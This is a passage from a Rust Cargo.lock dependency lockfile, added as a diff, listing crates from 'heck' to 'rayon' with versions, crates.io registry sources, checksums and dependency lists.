"registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "heck" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2540771e65fc8cb83cd6e8a237f70c319bd5c29f78ed1084ba5d50eeac86f7f9" + +[[package]] +name = "hermit-abi" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee512640fe35acbfb4bb779db6f0d80704c2cacfa2e39b601ef3e3f47d1ae4c7" +dependencies = [ + "libc", +] + +[[package]] +name = "html5ever" +version = "0.25.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5c13fb08e5d4dfc151ee5e88bae63f7773d61852f3bdc73c9f4b9e1bde03148" +dependencies = [ + "log", + "mac", + "markup5ever", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "http" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75f43d41e26995c17e71ee126451dd3941010b0514a81a9d11f3b341debc2399" +dependencies = [ + "bytes", + "fnv", + "itoa 1.0.5", +] + +[[package]] +name = "http-range" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21dec9db110f5f872ed9699c3ecf50cf16f423502706ba5c72462e28d3157573" + +[[package]] +name = "ico" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "031530fe562d8c8d71c0635013d6d155bbfe8ba0aa4b4d2d24ce8af6b71047bd" +dependencies = [ + "byteorder", + "png", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "ignore" +version = "0.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "713f1b139373f96a2e0ce3ac931cd01ee973c3c5dd7c40c0c2efe96ad2b6751d" +dependencies = [ + "crossbeam-utils", + "globset", + "lazy_static", + "log", + "memchr", + "regex", + "same-file", + "thread_local", + "walkdir", + "winapi-util", +] + +[[package]] +name = "image" +version = "0.24.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69b7ea949b537b0fd0af141fff8c77690f2ce96f4f41f042ccb6c69c6c965945" +dependencies = [ + "bytemuck", + "byteorder", + "color_quant", + "num-rational", + "num-traits", +] + +[[package]] +name = "indexmap" +version = "1.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1885e79c1fc4b10f0e172c475f458b7f7b93061064d98c3293e98c5ba0c8b399" +dependencies = [ + "autocfg", + "hashbrown", +] + +[[package]] +name = "infer" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20b2b533137b9cad970793453d4f921c2e91312a6d88b1085c07bc15fc51bb3b" +dependencies = [ + "cfb", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "io-lifetimes" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7d6c6f8c91b4b9ed43484ad1a938e393caf35960fce7f82a040497207bd8e9e" +dependencies = [ + "libc", + "windows-sys 0.42.0", +] + +[[package]] +name = "is-terminal" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dfb6c8100ccc63462345b67d1bbc3679177c75ee4bf59bf29c8b1d110b8189" +dependencies = [ + "hermit-abi", + "io-lifetimes", + "rustix", + "windows-sys 0.42.0", +] + +[[package]] +name = "itertools" +version = "0.10.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" + +[[package]] +name = "itoa" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fad582f4b9e86b6caa621cabeb0963332d92eea04729ab12892c2533951e6440" + +[[package]] +name = "javascriptcore-rs" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf053e7843f2812ff03ef5afe34bb9c06ffee120385caad4f6b9967fcd37d41c" +dependencies = [ + "bitflags", + "glib", + "javascriptcore-rs-sys", +] + +[[package]] +name = "javascriptcore-rs-sys" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "905fbb87419c5cde6e3269537e4ea7d46431f3008c5d057e915ef3f115e7793c" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 5.0.0", +] + +[[package]] +name = "jni" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "039022cdf4d7b1cf548d31f60ae783138e5fd42013f6271049d7df7afadef96c" +dependencies = [ + "cesu8", + "combine", + "jni-sys", + "log", + "thiserror", + "walkdir", +] + +[[package]] +name = "jni-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" + +[[package]] +name = "js-sys" +version = "0.3.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49409df3e3bf0856b916e2ceaca09ee28e6871cf7d9ce97a692cacfdb2a25a47" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "json-patch" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3fa5a61630976fc4c353c70297f2e93f1930e3ccee574d59d618ccbd5154ce" +dependencies = [ + "serde", + "serde_json", + "treediff", +] + +[[package]] +name = "kuchiki" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ea8e9c6e031377cff82ee3001dc8026cdf431ed4e2e6b51f98ab8c73484a358" +dependencies = [ + "cssparser", + "html5ever", + "matches", + "selectors", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "libc" +version = "0.2.139" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "201de327520df007757c1f0adce6e827fe8562fbc28bfd9c15571c66ca1f5f79" + +[[package]] +name = "libdbus-sys" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2264f9d90a9b4e60a2dc722ad899ea0374f03c2e96e755fe22a8f551d4d5fb3c" +dependencies = [ + "pkg-config", +] + +[[package]] +name = "line-wrap" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f30344350a2a51da54c1d53be93fade8a237e545dbcc4bdbe635413f2117cab9" +dependencies = [ + "safemem", +] + +[[package]] +name = "linux-raw-sys" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f051f77a7c8e6957c0696eac88f26b0117e54f52d3fc682ab19397a8812846a4" + +[[package]] +name = "lock_api" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "435011366fe56583b16cf956f9df0095b405b82d76425bc8981c0e22e60ec4df" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "loom" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff50ecb28bb86013e935fb6683ab1f6d3a20016f123c76fd4c27470076ac30f5" +dependencies = [ + "cfg-if", + "generator", + "scoped-tls", + "serde", + "serde_json", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "mac" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" + +[[package]] +name = "mac-notification-sys" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e72d50edb17756489e79d52eb146927bec8eba9dd48faadf9ef08bca3791ad5" +dependencies = [ + "cc", + "dirs-next", + "objc-foundation", + "objc_id", + "time", +] + +[[package]] +name = "malloc_buf" +version = "0.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb" +dependencies = [ + "libc", +] + +[[package]] +name = "markup5ever" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a24f40fb03852d1cdd84330cddcaf98e9ec08a7b7768e952fad3b4cf048ec8fd" +dependencies = [ + "log", + "phf 0.8.0", + "phf_codegen", + "string_cache", + "string_cache_codegen", + "tendril", +] + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata", +] + +[[package]] +name = "matches" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" + +[[package]] +name = "memchr" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" + +[[package]] +name = "memoffset" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce" +dependencies = [ + "autocfg", +] + +[[package]] +name = "memoffset" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" +dependencies = [ + "autocfg", +] + +[[package]] +name = "minisign-verify" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "933dca44d65cdd53b355d0b73d380a2ff5da71f87f036053188bf1eab6a19881" + +[[package]] +name = "miniz_oxide" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b275950c28b37e794e8c55d88aeb5e139d0ce23fdbbeda68f8d7174abdf9e8fa" +dependencies = [ + "adler", +] + +[[package]] +name = "native-tls" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07226173c32f2926027b63cce4bcd8076c3552846cbe7925f3aaffeac0a3b92e" +dependencies = [ + "lazy_static", + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "ndk" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2032c77e030ddee34a6787a64166008da93f6a352b629261d0fee232b8742dd4" +dependencies = [ + "bitflags", + "jni-sys", + "ndk-sys", + "num_enum", + "thiserror", +] + +[[package]] +name = "ndk-context" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b" + +[[package]] +name = "ndk-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e5a6ae77c8ee183dcbbba6150e2e6b9f3f4196a7666c02a715a95692ec1fa97" +dependencies = [ + "jni-sys", +] + +[[package]] +name = "new_debug_unreachable" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54" + +[[package]] +name = "nodrop" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb" + +[[package]] +name = "nom8" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae01545c9c7fc4486ab7debaf2aad7003ac19431791868fb2e8066df97fad2f8" +dependencies = [ + "memchr", +] + +[[package]] +name = "notify-rust" +version = "4.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ce656bb6d22a93ae276a23de52d1aec5ba4db3ece3c0eb79dfd5add7384db6a" +dependencies = [ + "dbus", + "mac-notification-sys", + "tauri-winrt-notification", +] + +[[package]] +name = "ntapi" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc51db7b362b205941f71232e56c625156eb9a929f8cf74a428fd5bc094a4afc" +dependencies = [ + "winapi", +] + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "num-integer" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +dependencies = [ + "autocfg", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "num_enum" +version = "0.5.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d829733185c1ca374f17e52b762f24f535ec625d2cc1f070e34c8a9068f341b" +dependencies = [ + "num_enum_derive", +] + +[[package]] +name = "num_enum_derive" +version = "0.5.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2be1598bf1c313dcdd12092e3f1920f463462525a21b7b4e11b4168353d0123e" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "objc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1" +dependencies = [ + "malloc_buf", + "objc_exception", +] + +[[package]] +name = "objc-foundation" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9" +dependencies = [ + "block", + "objc", + "objc_id", +] + +[[package]] +name = "objc_exception" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad970fb455818ad6cba4c122ad012fae53ae8b4795f86378bce65e4f6bab2ca4" +dependencies = [ + "cc", +] + +[[package]] +name = "objc_id" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b" +dependencies = [ + "objc", +] + +[[package]] +name = "once_cell" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f61fba1741ea2b3d6a1e3178721804bb716a68a6aeba1149b5d52e3d464ea66" + +[[package]] +name = "open" +version = "3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2078c0039e6a54a0c42c28faa984e115fb4c2d5bf2208f77d1961002df8576f8" +dependencies = [ + "pathdiff", + "windows-sys 0.42.0", +] + +[[package]] +name = "openssl" +version = "0.10.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b102428fd03bc5edf97f62620f7298614c45cedf287c271e7ed450bbaf83f2e1" +dependencies = [ + "bitflags", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "openssl-probe" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" + +[[package]] +name = "openssl-sys" +version = "0.9.80" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23bbbf7854cd45b83958ebe919f0e8e516793727652e27fda10a8384cfc790b7" +dependencies = [ + "autocfg", + "cc", + "libc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "os_info" +version = "3.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4750134fb6a5d49afc80777394ad5d95b04bc12068c6abb92fae8f43817270f" +dependencies = [ + "log", + "serde", + "winapi", +] + +[[package]] +name = "os_pipe" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6a252f1f8c11e84b3ab59d7a488e48e4478a93937e027076638c49536204639" +dependencies = [ + "libc", + "windows-sys 0.42.0", +] + +[[package]] +name = "os_str_bytes" +version = "6.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b7820b9daea5457c9f21c69448905d723fbd21136ccf521748f23fd49e723ee" + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "pango" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22e4045548659aee5313bde6c582b0d83a627b7904dd20dc2d9ef0895d414e4f" +dependencies = [ + "bitflags", + "glib", + "libc", + "once_cell", + "pango-sys", +] + +[[package]] +name = "pango-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2a00081cde4661982ed91d80ef437c20eacaf6aa1a5962c0279ae194662c3aa" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.0.3", +] + +[[package]] +name = "parallel-disk-usage" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e42b33f85d6d5a345c243fff616265c2b8263a44641e88e4afd80f32dbd7279b" +dependencies = [ + "assert-cmp", + "clap", + "clap-utilities", + "clap_complete", + "derive_more", + "fmt-iter", + "itertools", + "pipe-trait", + "rayon", + "rounded-div", + "serde", + "serde_json", + "smart-default", + "terminal_size", + "text-block-macros", + "thiserror", + "zero-copy-pads", +] + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba1ef8814b5c993410bb3adfad7a5ed269563e4a2f90c41f5d85be7fb47133bf" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-sys 0.42.0", +] + +[[package]] +name = "paste" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d01a5bd0424d00070b0098dd17ebca6f961a959dead1dbcbbbc1d1cd8d3deeba" + +[[package]] +name = "pathdiff" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8835116a5c179084a830efb3adc117ab007512b535bc1a21c991d3b32a6b44dd" + +[[package]] +name = "percent-encoding" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "478c572c3d73181ff3c2539045f6eb99e5491218eae919370993b890cdbdd98e" + +[[package]] +name = "pest" +version = "2.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ab62d2fa33726dbe6321cc97ef96d8cde531e3eeaf858a058de53a8a6d40d8f" +dependencies = [ + "thiserror", + "ucd-trie", +] + +[[package]] +name = "phf" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dfb61232e34fcb633f43d12c58f83c1df82962dcdfa565a4e866ffc17dafe12" +dependencies = [ + "phf_macros 0.8.0", + "phf_shared 0.8.0", + "proc-macro-hack", +] + +[[package]] +name = "phf" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" +dependencies = [ + "phf_macros 0.10.0", + "phf_shared 0.10.0", + "proc-macro-hack", +] + +[[package]] +name = "phf_codegen" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbffee61585b0411840d3ece935cce9cb6321f01c45477d30066498cd5e1a815" +dependencies = [ + "phf_generator 0.8.0", + "phf_shared 0.8.0", +] + +[[package]] +name = "phf_generator" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17367f0cc86f2d25802b2c26ee58a7b23faeccf78a396094c13dced0d0182526" +dependencies = [ + "phf_shared 0.8.0", + "rand 0.7.3", +] + +[[package]] +name = "phf_generator" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6" +dependencies = [ + "phf_shared 0.10.0", + "rand 0.8.5", +] + +[[package]] +name = "phf_macros" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f6fde18ff429ffc8fe78e2bf7f8b7a5a5a6e2a8b58bc5a9ac69198bbda9189c" +dependencies = [ + "phf_generator 0.8.0", + "phf_shared 0.8.0", + "proc-macro-hack", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "phf_macros" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58fdf3184dd560f160dd73922bea2d5cd6e8f064bf4b13110abd81b03697b4e0" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", + "proc-macro-hack", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "phf_shared" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c00cf8b9eafe68dde5e9eaa2cef8ee84a9336a47d566ec55ca16589633b65af7" +dependencies = [ + "siphasher", +] + +[[package]] +name = "phf_shared" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" +dependencies = [ + "siphasher", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pipe-trait" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1be1ec9e59f0360aefe84efa6f699198b685ab0d5718081e9f72aa2344289e2" + +[[package]] +name = "pkg-config" +version = "0.3.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ac9a59f73473f1b8d852421e59e64809f025994837ef743615c6d0c5b305160" + +[[package]] +name = "plist" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5329b8f106a176ab0dce4aae5da86bfcb139bb74fb00882859e03745011f3635" +dependencies = [ + "base64", + "indexmap", + "line-wrap", + "quick-xml 0.26.0", + "serde", + "time", +] + +[[package]] +name = "png" +version = "0.17.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d708eaf860a19b19ce538740d2b4bdeeb8337fa53f7738455e706623ad5c638" +dependencies = [ + "bitflags", + "crc32fast", + "flate2", + "miniz_oxide", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "precomputed-hash" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" + +[[package]] +name = "proc-macro-crate" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66618389e4ec1c7afe67d51a9bf34ff9236480f8d51e7489b7d5ab0303c13f34" +dependencies = [ + "once_cell", + "toml_edit", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro-hack" +version = "0.5.20+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" + +[[package]] +name = "proc-macro2" +version = "1.0.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ef7d57beacfaf2d8aee5937dab7b7f28de3cb8b1828479bb5de2a7106f2bae2" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quick-xml" +version = "0.23.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11bafc859c6815fbaffbbbf4229ecb767ac913fecb27f9ad4343662e9ef099ea" +dependencies = [ + "memchr", +] + +[[package]] +name = "quick-xml" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f50b1c63b38611e7d4d7f68b82d3ad0cc71a2ad2e7f61fc10f1328d917c93cd" +dependencies = [ + "memchr", +] + +[[package]] +name = "quote" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8856d8364d252a14d474036ea1358d63c9e6965c8e5c1885c18f73d70bff9c7b" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +dependencies = [ + "getrandom 0.1.16", + "libc", + "rand_chacha 0.2.2", + "rand_core 0.5.1", + "rand_hc", + "rand_pcg", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +dependencies = [ + "ppv-lite86", + "rand_core 0.5.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_core" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +dependencies = [ + "getrandom 0.1.16", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.8", +] + +[[package]] +name = "rand_hc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "rand_pcg" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "raw-window-handle" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed7e3d950b66e19e0c372f3fa3fbbcf85b1746b571f74e0c2af6042a5c93420a" +dependencies = [ + "cty", +] + +[[package]] +name = "rayon" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" 